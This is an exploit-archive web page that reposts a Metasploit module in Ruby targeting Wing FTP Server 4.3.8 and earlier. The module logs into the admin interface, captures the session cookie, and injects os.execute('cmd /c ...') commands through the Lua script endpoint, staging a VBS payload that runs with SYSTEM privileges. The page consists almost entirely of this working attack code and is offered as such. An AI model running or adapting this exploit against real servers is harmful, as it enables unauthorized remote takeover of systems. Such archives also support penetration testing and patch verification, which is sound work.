首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Wing FTP Server Authenticated Command Execution Exploit
来源:metasploit.com 作者:Nicholas 发布时间:2014-09-01  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wing FTP Server Authenticated Command Execution',
      'Description'    => %q{
        This module exploits the embedded Lua interpreter in the admin web interface for
        versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
        an attacker can use os.execute() to execute arbitrary system commands on
        the target with SYSTEM privileges.
      },
      'Author'         =>
        [
          'Nicholas Nam <nick[at]executionflow.org>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.wftpserver.com' ]
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows VBS Stager', {} ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jun 19 2014',
      'DefaultTarget'  => 0
    ))
  
    register_options(
      [
        Opt::RPORT(5466),
        OptString.new('USERNAME', [true, 'Admin username', '']),
        OptString.new('PASSWORD', [true, 'Admin password', ''])
      ], self.class
    )
    deregister_options('CMDSTAGER::FLAVOR')
  end
  
  def check
    res = send_request_cgi(
      {
        'uri'     =>  '/admin_login.html',
        'method'  => 'GET'
      })
  
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
    elsif res.code != 200
      fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
    elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
      return Exploit::CheckCode::Appears
    end
  
    Exploit::CheckCode::Safe
  end
  
  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    @session_cookie = authenticate(username, password)
  
    print_status("#{peer} - Sending payload")
    # Execute the cmdstager, max length of the commands is ~1500
    execute_cmdstager(flavor: :vbs, linemax: 1500)
  end
  
  def execute_command(cmd, _opts = {})
    command = "os.execute('cmd /c #{cmd}')"
  
    res = send_request_cgi(
      'uri'       => '/admin_lua_script.html',
      'method'    => 'POST',
      'cookie'    => @session_cookie,
      'vars_post' => { 'command' => command }
    )
  
    if res && res.code != 200
      fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
    end
  end
  
  def authenticate(username, password)
    print_status("#{peer} - Authenticating")
    res = send_request_cgi(
      'uri'       => '/admin_loginok.html',
      'method'    => 'POST',
      'vars_post' => {
        'username'     => username,
        'password'     => password,
        'username_val' => username,
        'password_val' => password,
        'submit_btn'   => '+Login+'
      }
    )
  
    uidadmin = ''
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
    elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
      res.get_cookies.split(';').each do |cookie|
        cookie.split(',').each do |value|
          uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
        end
      end
    else
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end
  
    "UIDADMIN=#{uidadmin}"
  end
end
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Baidu Spark Browser v26.5.9999
·Android Browser Same Origin Po
·IBM 1754 GCM KVM Multiple Vuln
·Google Chrome 31.0 XSS Auditor
·HTML Help Workshop 1.4 - (SEH)
·LeapFTP 3.1.0 URL Handling Buf
·NRPE 2.15 Remote Command Execu
·Apple iOS 7.1.2 Merge Apps Ser
·XRMS - Blind SQL Injection and
·WWW File Share Pro 7.0 Denial
·PhpWiki - Remote Command Execu
·ActualAnalyzer Lite 2.81 - Una
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved